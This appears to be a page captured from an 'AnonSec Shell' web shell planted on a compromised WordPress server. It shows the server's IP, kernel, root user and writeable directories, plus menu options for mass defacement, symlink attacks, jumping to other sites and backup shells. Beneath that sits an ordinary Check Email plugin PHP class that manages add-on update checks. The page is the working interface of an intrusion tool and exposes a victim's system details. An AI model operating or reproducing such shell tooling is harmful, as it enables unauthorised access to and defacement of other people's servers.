AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 18.191.127.196   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/check-email/include/Core/Request/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/check-email/include/Core/Request/Check_Email_Override_PluginAPI.php
<?php namespace CheckEmail\Core\Request;

use CheckEmail\Addon\API\EDDUpdater;
use CheckEmail\Core\Loadie;

defined( 'ABSPATH' ) || exit; // Exit if accessed directly.

/**
 * Override WordPress Plugin API.
 * This is already done by EDD_SL_Plugin_Updater for Active add-on
 * and this class does it for all in active or yet to be installed add-ons.
 */
class Check_Email_Override_PluginAPI implements Loadie {

	public function load() {
		add_action( 'admin_init', array( $this, 'setup_updaters_for_inactive_addons' ) );

		add_filter( 'plugins_api_result', array( $this, 'add_version_to_plugin_api_response' ), 100, 3 );
	}

	public function setup_updaters_for_inactive_addons() {
		$check_email = wpchill_check_email();
		$licenser  = $check_email->get_licenser();

		if ( is_null( $licenser ) ) {
			return;
		}

		$inactive_addons = $licenser->get_addon_list()->get_inactive_addons();

		foreach ( $inactive_addons as $inactive_addon ) {
			$license_key = $licenser->get_addon_license_key( $inactive_addon->name );

			$updater = new EDDUpdater(
				$check_email->get_store_url(),
				$inactive_addon->file,
				array(
					'version'   => $inactive_addon->get_version(),
					'license'   => $license_key,
					'item_name' => $inactive_addon->name,
					'author'    => $inactive_addon->author,
				)
			);

			$licenser->add_updater( $updater );
		}
	}
        
	public function add_version_to_plugin_api_response( $response, $action, $args ) {
		if ( 'plugin_information' !== $action ) {
			return $response;
		}

		if ( ! isset( $args->slug ) || ( substr( $args->slug, 0, 10 ) != 'check-email-log-' ) ) {
			return $response;
		}

		if ( isset( $response->version ) ) {
			return $response;
		}

		if ( ! isset( $response->new_version ) ) {
			return $response;
		}

		$response->version = $response->new_version;

		return $response;
	}
}

Anon7 - 2022
AnonSec Team